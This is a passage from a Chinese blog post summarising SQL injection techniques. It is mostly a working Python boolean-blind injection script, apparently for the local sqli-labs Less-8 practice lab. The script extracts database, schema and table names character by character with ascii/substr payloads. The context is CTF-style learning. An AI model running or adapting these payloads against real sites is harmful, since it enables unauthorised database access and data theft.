class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 1.布尔盲注</span></span><br><span class="line"><span class="comment"># 页面有不同的响应word1,word2</span></span><br><span class="line"><span class="comment"># 可猜解数据库长度、个数、名字、表个数、表长度、名字、字段、</span></span><br><span class="line"><span class="comment"># 长度:length，order by</span></span><br><span class="line"><span class="comment"># 个数:count</span></span><br><span class="line"><span class="comment"># 名字：ascii，substr</span></span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"><span class="keyword">from</span> math <span class="keyword">import</span> ceil</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SqlInject</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    headers = &#123;</span><br><span class="line">        <span class="string">&quot;headers&quot;</span>:<span class="string">&quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36&quot;</span></span><br><span class="line">    &#125;</span><br><span class="line">    data= &#123;&#125;</span><br><span class="line"><span class="meta">    @classmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">judge</span>(<span class="params">cls,url</span>):</span></span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">bool</span>(SqlInject.data):</span><br><span class="line">            result = <span class="literal">None</span></span><br><span class="line">            <span class="comment"># print(result)</span></span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            result = requests.get(url=url,headers=SqlInject.headers,timeout=<span class="number">5</span>).text</span><br><span class="line">            <span class="keyword">return</span> result</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,url,word1,word2</span>):</span></span><br><span class="line">        self.url = url</span><br><span class="line">        self.word1=word1</span><br><span class="line">        self.word2=word2</span><br><span class="line">    <span class="comment">#word1 in result we think you get result</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_Current_Db_Len</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>):</span><br><span class="line">            payload = <span class="string">&quot;?id=1%27+and+(length(database())=&#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i)</span><br><span class="line">            final_payload=self.url+payload</span><br><span class="line">            result = SqlInject.judge(final_payload)</span><br><span class="line">            <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;database len:&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> i</span><br><span class="line">    <span class="comment">#information db the number db</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_All_Db_Len</span>(<span class="params">self,Db_number</span>):</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>):</span><br><span class="line">            payload = <span class="string">&quot;?id=1%27+and+(select+((select+length(concat(schema_name))+from+information_schema.schemata+limit+&#123;&#125;,1)=&#123;&#125;))--+&quot;</span>.<span class="built_in">format</span>(Db_number,i)</span><br><span class="line">            final_payload=self.url+payload</span><br><span class="line">            result = SqlInject.judge(final_payload)</span><br><span class="line">            <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Database_len:&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> i</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_All_Db_Number</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>):</span><br><span class="line">            payload = <span class="string">&quot;?id=1%27+and+(select+&#123;&#125;=(select count(*) from information_schema.schemata))--+&quot;</span>.<span class="built_in">format</span>(i)</span><br><span class="line">            final_payload=self.url+payload</span><br><span class="line">            result = SqlInject.judge(final_payload)</span><br><span class="line">            <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Db_number:&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> i</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_Current_DbName</span>(<span class="params">self</span>):</span></span><br><span class="line">        table_list = []</span><br><span class="line">        <span class="comment">#二分法获取数据库名</span></span><br><span class="line">        Namelen = self.get_Current_Db_Len()</span><br><span class="line">        TempLen = <span class="number">0</span></span><br><span class="line">        DbName = <span class="string">&quot;&quot;</span></span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">                temp_bottom = <span class="number">33</span></span><br><span class="line">                temp_top = <span class="number">126</span></span><br><span class="line">                <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">                    <span class="comment">#当前ascii小于temp_top</span></span><br><span class="line">                    payload = <span class="string">&quot;?id=1%27+and+((ascii(substr(database(),&#123;&#125;,1))) &lt; &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                    final_payload=self.url+payload</span><br><span class="line">                    result = SqlInject.judge(final_payload)</span><br><span class="line">                    <span class="comment"># print(final_payload)</span></span><br><span class="line">                    <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                        temp_top = (temp_top-ceil((temp_top-temp_bottom)/<span class="number">2</span>))</span><br><span class="line">                        <span class="comment">#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)</span></span><br><span class="line">                        interval = ceil((temp_top-temp_bottom)/<span class="number">2</span>)</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    <span class="comment">#当前ascii大于temp_top</span></span><br><span class="line">                    payload = <span class="string">&quot;?id=1%27+and+((ascii(substr(database(),&#123;&#125;,1))) &gt; &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                    final_payload=self.url+payload</span><br><span class="line">                    result = SqlInject.judge(final_payload)</span><br><span class="line">                    <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                        temp_bottom = temp_top</span><br><span class="line">                        temp_top = temp_top + interval</span><br><span class="line">                        <span class="keyword">continue</span></span><br><span class="line">                    <span class="comment">#当前ascii等于temp_top</span></span><br><span class="line">                    payload = <span class="string">&quot;?id=1%27+and+((ascii(substr(database(),&#123;&#125;,1))) = &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                    final_payload=self.url+payload</span><br><span class="line">                    result = SqlInject.judge(final_payload)</span><br><span class="line">                    <span class="keyword">if</span> interval == <span class="number">0</span>:</span><br><span class="line">                        exit(<span class="string">&quot;unknown error about variable interval&quot;</span>)</span><br><span class="line">                    <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                        DbName += <span class="built_in">chr</span>(temp_top)</span><br><span class="line">                        <span class="built_in">print</span>(<span class="string">&quot;Database_name:&quot;</span>+DbName)</span><br><span class="line">                        TempLen += <span class="number">1</span></span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">                <span class="keyword">if</span> TempLen == Namelen:</span><br><span class="line">                    table_list.append(<span class="string">&quot;Database_name:&quot;</span>+DbName)</span><br><span class="line">                    <span class="keyword">break</span></span><br><span class="line">        <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">&quot;Unknown error:&quot;</span>,e)</span><br><span class="line">        <span class="keyword">return</span> table_list</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_All_Db_Name</span>(<span class="params">self</span>):</span></span><br><span class="line">        number = self.get_All_Db_Number()</span><br><span class="line">        Database_list = []</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,number):</span><br><span class="line">            Database_Name = <span class="string">&quot;&quot;</span></span><br><span class="line">            <span class="comment">#二分法获取每个数据库名</span></span><br><span class="line">            Namelen = self.get_All_Db_Len(i)</span><br><span class="line">            TempLen = <span class="number">0</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">                    temp_bottom = <span class="number">33</span></span><br><span class="line">                    temp_top = <span class="number">126</span></span><br><span class="line">                    <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">                        <span class="comment">#当前ascii小于temp_top</span></span><br><span class="line">                        payload = <span class="string">&quot;?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit &#123;&#125;,1),&#123;&#125;,1)) &lt; &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i,TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                        final_payload=self.url+payload</span><br><span class="line">                        result = SqlInject.judge(final_payload)</span><br><span class="line">                        <span class="comment"># print(final_payload)</span></span><br><span class="line">                        <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                            temp_top = (temp_top-ceil((temp_top-temp_bottom)/<span class="number">2</span>))</span><br><span class="line">                            <span class="comment">#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)</span></span><br><span class="line">                            interval = ceil((temp_top-temp_bottom)/<span class="number">2</span>)</span><br><span class="line">                            <span class="keyword">continue</span></span><br><span class="line">                        <span class="comment">#当前ascii大于temp_top</span></span><br><span class="line">                        payload = <span class="string">&quot;?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit &#123;&#125;,1),&#123;&#125;,1)) &gt; &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i,TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                        final_payload=self.url+payload</span><br><span class="line">                        result = SqlInject.judge(final_payload)</span><br><span class="line">                        <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                            temp_bottom = temp_top</span><br><span class="line">                            temp_top = temp_top + interval</span><br><span class="line">                            <span class="keyword">continue</span></span><br><span class="line">                        <span class="comment">#当前ascii等于temp_top</span></span><br><span class="line">                        payload = <span class="string">&quot;?id=1%27+and+(ascii(substr((select schema_name from information_schema.schemata limit &#123;&#125;,1),&#123;&#125;,1)) = &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i,TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                        final_payload=self.url+payload</span><br><span class="line">                        result = SqlInject.judge(final_payload)</span><br><span class="line">                        <span class="keyword">if</span> interval == <span class="number">0</span>:</span><br><span class="line">                            exit(<span class="string">&quot;unknown error about variable interval&quot;</span>)</span><br><span class="line">                        <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                            Database_Name += <span class="built_in">chr</span>(temp_top)</span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">&quot;Database_name:&quot;</span>+Database_Name)</span><br><span class="line">                            TempLen += <span class="number">1</span></span><br><span class="line">                            <span class="keyword">break</span></span><br><span class="line">                    <span class="keyword">if</span> TempLen == Namelen:</span><br><span class="line">                        Database_list.append(<span class="string">&quot;Database_name:&quot;</span>+Database_Name)</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Unknown error:&quot;</span>,e)</span><br><span class="line">        <span class="keyword">return</span> Database_list</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_CurrentDb_Table_Number</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>):</span><br><span class="line">            payload = <span class="string">&quot;?id=1%27+and+(select+&#123;&#125;=(select+count(*)+from+information_schema.tables+where+table_schema=database()))--+&quot;</span>.<span class="built_in">format</span>(i)</span><br><span class="line">            final_payload=self.url+payload</span><br><span class="line">            result = SqlInject.judge(final_payload)</span><br><span class="line">            <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Table_number:&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> i</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_CurrentDb_TableName_Len</span>(<span class="params">self,table_number</span>):</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,<span class="number">20</span>):</span><br><span class="line">            payload = <span class="string">&quot;?id=1%27+and+(select+((select+length(concat(table_name))+from+information_schema.tables+where+table_schema=database()+limit+&#123;&#125;,1)=&#123;&#125;))--+&quot;</span>.<span class="built_in">format</span>(table_number,i)</span><br><span class="line">            final_payload=self.url+payload</span><br><span class="line">            result = SqlInject.judge(final_payload)</span><br><span class="line">            <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;TableName_number:&quot;</span>+<span class="built_in">str</span>(i)+<span class="string">&quot;\n&quot;</span>)</span><br><span class="line">                <span class="keyword">return</span> i</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">get_CurrentDb_Table_Name</span>(<span class="params">self</span>):</span></span><br><span class="line">        number = self.get_CurrentDb_Table_Number()</span><br><span class="line">        table_list = []</span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,number):</span><br><span class="line">            table_name = <span class="string">&quot;&quot;</span></span><br><span class="line">            <span class="comment">#二分法获取每个表名</span></span><br><span class="line">            Namelen = self.get_CurrentDb_TableName_Len(i)</span><br><span class="line">            TempLen = <span class="number">0</span></span><br><span class="line">            <span class="keyword">try</span>:</span><br><span class="line">                <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">                    temp_bottom = <span class="number">33</span></span><br><span class="line">                    temp_top = <span class="number">126</span></span><br><span class="line">                    <span class="keyword">while</span>(<span class="literal">True</span>):</span><br><span class="line">                        <span class="comment">#当前ascii小于temp_top</span></span><br><span class="line">                        payload = <span class="string">&quot;?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit &#123;&#125;,1),&#123;&#125;,1)) &lt; &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i,TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                        final_payload=self.url+payload</span><br><span class="line">                        result = SqlInject.judge(final_payload)</span><br><span class="line">                        <span class="comment"># print(final_payload)</span></span><br><span class="line">                        <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                            temp_top = (temp_top-ceil((temp_top-temp_bottom)/<span class="number">2</span>))</span><br><span class="line">                            <span class="comment">#循环开始后上一次的两个边界之间的差值(作为bottom变化时的标记)</span></span><br><span class="line">                            interval = ceil((temp_top-temp_bottom)/<span class="number">2</span>)</span><br><span class="line">                            <span class="keyword">continue</span></span><br><span class="line">                        <span class="comment">#当前ascii大于temp_top</span></span><br><span class="line">                        payload = <span class="string">&quot;?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit &#123;&#125;,1),&#123;&#125;,1)) &gt; &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i,TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                        final_payload=self.url+payload</span><br><span class="line">                        result = SqlInject.judge(final_payload)</span><br><span class="line">                        <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                            temp_bottom = temp_top</span><br><span class="line">                            temp_top = temp_top + interval</span><br><span class="line">                            <span class="keyword">continue</span></span><br><span class="line">                        <span class="comment">#当前ascii等于temp_top</span></span><br><span class="line">                        payload = <span class="string">&quot;?id=1%27+and+(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit &#123;&#125;,1),&#123;&#125;,1)) = &#123;&#125;)--+&quot;</span>.<span class="built_in">format</span>(i,TempLen+<span class="number">1</span>,temp_top)</span><br><span class="line">                        final_payload=self.url+payload</span><br><span class="line">                        result = SqlInject.judge(final_payload)</span><br><span class="line">                        <span class="keyword">if</span> interval == <span class="number">0</span>:</span><br><span class="line">                            exit(<span class="string">&quot;unknown error about variable interval&quot;</span>)</span><br><span class="line">                        <span class="keyword">if</span> self.word1 <span class="keyword">in</span> result:</span><br><span class="line">                            table_name += <span class="built_in">chr</span>(temp_top)</span><br><span class="line">                            <span class="built_in">print</span>(<span class="string">&quot;Table_name:&quot;</span>+table_name)</span><br><span class="line">                            TempLen += <span class="number">1</span></span><br><span class="line">                            <span class="keyword">break</span></span><br><span class="line">                    <span class="keyword">if</span> TempLen == Namelen:</span><br><span class="line">                        table_list.append(<span class="string">&quot;Table_name:&quot;</span>+table_name)</span><br><span class="line">                        <span class="keyword">break</span></span><br><span class="line">            <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">&quot;Unknown error:&quot;</span>,e)</span><br><span class="line">        <span class="keyword">return</span> table_list</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line">    url=<span class="string">&quot;http://127.0.0.1:8081/Less-8/&quot;</span></span><br><span class="line">    word1=<span class="string">&quot;You are in&quot;</span></span><br><span class="line">    word2=<span class="string">&quot;You are not in&quot;</span></span><br><span class="line">    sqli = SqlInject(url=url,word1=word1,word2=word2)</span><br><span class="line">    one = <span class="built_in">float</span>(time.time())</span><br><span class="line">    <span class="built_in">print</span>(sqli.get_CurrentDb_Table_Name())</span><br><span class="line">    two = <span class="built_in">float</span>(time.time())</span><br><span class="line">    interval = two-one</span><br><span class="line">    <span class="built_in">print</span>(interval)</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    main()</span><br></pre></td></tr></table></figure>

<p>延时盲注和报错盲注没写，暂时就先这样，之后把bugku、buu等平台的SQL注入类型的题全做一遍，再水一篇。</p>

                                                                    </div>
                                                                    
                                                                        <div class="prev-or-next">
                                                                            <div class="post-foot-next">
                                                                                
                                                                            </div>
                                                                            <div class="post-attach">
                                                                                <!-- <span class="post-pubtime">
              <i class="iconfont icon-updatetime" title="Update time"></i>
              2020-11-19
            </span> -->

                                                                                
                                                                                            <span class="post-categories">
          <!-- <i class="iconfont icon-bookmark" title="Categories"></i> -->
          
          <!-- <span class="span--category">
            <a href="/categories/Technology/" title="Technology">
              <b>#</b> Technology
            </a>
          </span> -->
                                                                                            
                                                                                                </span>
                                                                                                
                                                                                    <span class="post-tags">
          <!-- <i class="iconfont icon-tags" title="Tags"></i> -->
          
          <!-- <span class="span--tag">
            <a href="/tags/WEB/" title="WEB">
              <b>#</b> WEB
            </a>
          </span> -->
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            </div>
                                                                            <div class="post-foot-prev">
                                                                                
                                                                                    <a href="/2020/11/21/python__re%E6%A8%A1%E5%9D%97%E4%B8%8E%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/" target="_self">
                                                                                        <span>Next</span>
                                                                                        <i class="iconfont icon-chevronright"></i>
                                                                                    </a>
                                                                                    
                                                                            </div>
                                                                        </div>
                                                                        
                                                                </div>
                                                                
  <div id="btn-catalog" class="btn-catalog">
    <i class="iconfont icon-catalog"></i>
  </div>
  <div class="post-catalog hidden" id="catalog">
    <div class="title">Contents</div>
    <div class="catalog-content">
      
        <ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#1-%E8%81%94%E5%90%88%E6%9F%A5%E8%AF%A2%E6%B3%A8%E5%85%A5%EF%BC%9A"><span class="toc-text">1.联合查询注入：</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#2-%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5"><span class="toc-text">2.报错注入</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#3-%E7%9B%B2%E6%B3%A8"><span class="toc-text">3.盲注</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8C%9C%E6%95%B0%E6%8D%AE%E5%BA%93%E5%90%8D%EF%BC%9A"><span class="toc-text">猜数据库名：</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8C%9C%E8%A1%A8%E5%90%8D"><span class="toc-text">猜表名</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8C%9C%E5%88%97%E5%90%8D%EF%BC%9A"><span class="toc-text">猜列名：</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8C%9C%E6%95%B0%E6%8D%AE%EF%BC%9A"><span class="toc-text">猜数据：</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%B8%8B%E9%9D%A2%E6%98%AF%E4%B8%A4%E4%B8%AA%E7%9B%B2%E6%B3%A8%E7%9A%84%E8%84%9A%E6%9C%AC-%E6%9D%A5%E8%87%AA%E7%BD%91%E7%BB%9C"><span class="toc-text">下面是两个盲注的脚本(来自网络)</span></a></li></ol>
      
    </div>
  </div>

  
<script src="/js/catalog.js"></script>




                                                                    
                                                                        <div class="comments-container">
                                                                            







                                                                        </div>
                                                                        
                                                            </div>
                                                            
        
<div class="footer">
  <div class="social">
    <ul>
      
        <li>
          <a title="github" target="_blank" rel="noopener" href="https://github.com/Ghostasky">
            <i class="iconfont icon-github"></i>
          </a>
        </li>
      
        <li>
          <a title="twitter" target="_blank" rel="noopener" href="https://twitter.com/ghostasky">
            <i class="iconfont icon-twitter"></i>
          </a>
        </li>
      
    </ul>
  </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/Ghostasky">怕什么真理无穷，进一寸有进一寸的欢喜。</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Copyright © 2022 Oranges</a>
        
    </div>
  
    
    <div class="footer-more">
      
        <a target="_blank" rel="noopener" href="https://github.com/zchengsite/hexo-theme-oranges">Theme by Oranges | Powered by Hexo</a>
        
    </div>
  
</div>

      </div>

      <div class="tools-bar">
        <div class="back-to-top tools-bar-item hidden">
  <a href="javascript: void(0)">
    <i class="iconfont icon-chevronup"></i>
  </a>
</div>


<script src="/js/backtotop.js"></script>



        
  <div class="search-icon tools-bar-item" id="search-icon">
    <a href="javascript: void(0)">
      <i class="iconfont icon-search"></i>
    </a>
  </div>

  <div class="search-overlay hidden">
    <div class="search-content" tabindex="0">
      <div class="search-title">
        <span class="search-icon-input">
          <a href="javascript: void(0)">
            <i class="iconfont icon-search"></i>
          </a>
        </span>
        
          <input type="text" class="search-input" id="search-input" placeholder="Search...">
        
        <span class="search-close-icon" id="search-close-icon">
          <a href="javascript: void(0)">
            <i class="iconfont icon-close"></i>
          </a>
        </span>
      </div>
      <div class="search-result" id="search-result"></div>
    </div>
  </div>

  <script type="text/javascript">
    var inputArea = document.querySelector("#search-input")
    var searchOverlayArea = document.querySelector(".search-overlay")

    inputArea.onclick = function() {
      getSearchFile()
      this.onclick = null
    }

    inputArea.onkeydown = function() {
      if(event.keyCode == 13)
        return false
    }

    function openOrHideSearchContent() {
      let isHidden = searchOverlayArea.classList.contains('hidden')
      if (isHidden) {
        searchOverlayArea.classList.remove('hidden')
        document.body.classList.add('hidden')
        // inputArea.focus()
      } else {
        searchOverlayArea.classList.add('hidden')
        document.body.classList.remove('hidden')
      }
    }

    function blurSearchContent(e) {
      if (e.target === searchOverlayArea) {
        openOrHideSearchContent()
      }
    }

    document.querySelector("#search-icon").addEventListener("click", openOrHideSearchContent, false)
    document.querySelector("#search-close-icon").addEventListener("click", openOrHideSearchContent, false)
    searchOverlayArea.addEventListener("click", blurSearchContent, false)

    var searchFunc = function (path, search_id, content_id) {
      'use strict';
      var $input = document.getElementById(search_id);
      var $resultContent = document.getElementById(content_id);
      $resultContent.innerHTML = "<ul><span class='local-search-empty'>First search, index file loading, please wait...<span></ul>";
      $.ajax({
        // 0x01. load xml file
        url: path,
        dataType: "xml",
        success: function (xmlResponse) {
          // 0x02. parse xml file
          var datas = $("entry", xmlResponse).map(function () {
            return {
              title: $("title", this).text(),
              content: $("content", this).text(),
              url: $("url", this).text()
            };
          }).get();
          $resultContent.innerHTML = "";

          $input.addEventListener('input', function () {
            // 0x03. parse query to keywords list
            var str = '<ul class=\"search-result-list\">';
            var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
            $resultContent.innerHTML = "";
            if (this.value.trim().length <= 0) {
              return;
            }
            // 0x04. perform local searching
            datas.forEach(function (data) {
              var isMatch = true;
              var content_index = [];
              if (!data.title || data.title.trim() === '') {
                data.title = "Untitled";
              }
              var orig_data_title = data.title.trim();
              var data_title = orig_data_title.toLowerCase();
              var orig_data_content = data.content.trim().replace(/<[^>]+>/g, "");
              var data_content = orig_data_content.toLowerCase();
              var data_url = data.url;
              var index_title = -1;
              var index_content = -1;
              var first_occur = -1;
              // only match artiles with not empty contents
              if (data_content !== '') {
                keywords.forEach(function (keyword, i) {
                  index_title = data_title.indexOf(keyword);
                  index_content = data_content.indexOf(keyword);

                  if (index_title < 0 && index_content < 0) {
                    isMatch = false;
                  } else {
                    if (index_content < 0) {
                      index_content = 0;
                    }
                    if (i == 0) {
                      first_occur = index_content;
                    }
                    // content_index.push({index_content:index_content, keyword_len:keyword_len});
                  }
                });
              } else {
                isMatch = false;
              }
              // 0x05. show search results
              if (isMatch) {
                str += "<li><a href='" + data_url + "' class='search-result-title'>" + orig_data_title + "</a>";
                var content = orig_data_content;
                if (first_occur >= 0) {
                  // cut out 100 characters
                  var start = first_occur - 20;
                  var end = first_occur + 80;

                  if (start < 0) {
                    start = 0;
                  }

                  if (start == 0) {
                    end = 100;
                  }

                  if (end > content.length) {
                    end = content.length;
                  }

                  var match_content = content.substr(start, end);

                  // highlight all keywords
                  keywords.forEach(function (keyword) {
                    var regS = new RegExp(keyword, "gi");
                    match_content = match_content.replace(regS, "<span class=\"search-keyword\">" + keyword + "</span>");
                  });

                  str += "<p class=\"search-result-abstract\">" + match_content + "...</p>"
                }
                str += "</li>";
              }
            });
            str += "</ul>";
            if (str.indexOf('<li>') === -1) {
              return $resultContent.innerHTML = "<ul><span class='local-search-empty'>No result<span></ul>";
            }
            $resultContent.innerHTML = str;
          });
        },
        error: function(xhr, status, error) {
          $resultContent.innerHTML = ""
          if (xhr.status === 404) {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The search.xml file was not found, please refer to：<a href='https://github.com/zchengsite/hexo-theme-oranges#configuration' target='_black'>configuration</a><span></ul>";
          } else {
            $resultContent.innerHTML = "<ul><span class='local-search-empty'>The request failed, Try to refresh the page or try again later.<span></ul>";
          }
        }
      });
      $(document).on('click', '#search-close-icon', function() {
        $('#search-input').val('');
        $('#search-result').html('');
      });
    }

    var getSearchFile = function() {
        var path = "/search.xml";
        searchFunc(path, 'search-input', 'search-result');
    }
  </script>




        
  <div class="tools-bar-item theme-icon" id="switch-color-scheme">
    <a href="javascript: void(0)">
      <i id="theme-icon" class="iconfont icon-moon"></i>
    </a>
  </div>

  
<script src="/js/colorscheme.js"></script>





        
  
    <div class="share-icon tools-bar-item">
      <a href="javascript: void(0)" id="share-icon">
        <i class="iconfont iconshare"></i>
      </a>
      <div class="share-content hidden">
        
          <a class="share-item" href="https://twitter.com/intent/tweet?text=' + SQL%E6%B3%A8%E5%85%A5%E5%B0%8F%E7%BB%93 + '&url=' + https%3A%2F%2Fghostasky.github.io%2F2020%2F11%2F19%2FSQL%25E6%25B3%25A8%25E5%2585%25A5%25E5%25B0%258F%25E7%25BB%2593%2F + '" target="_blank" title="Twitter">
            <i class="iconfont icon-twitter"></i>
          </a>
        
        
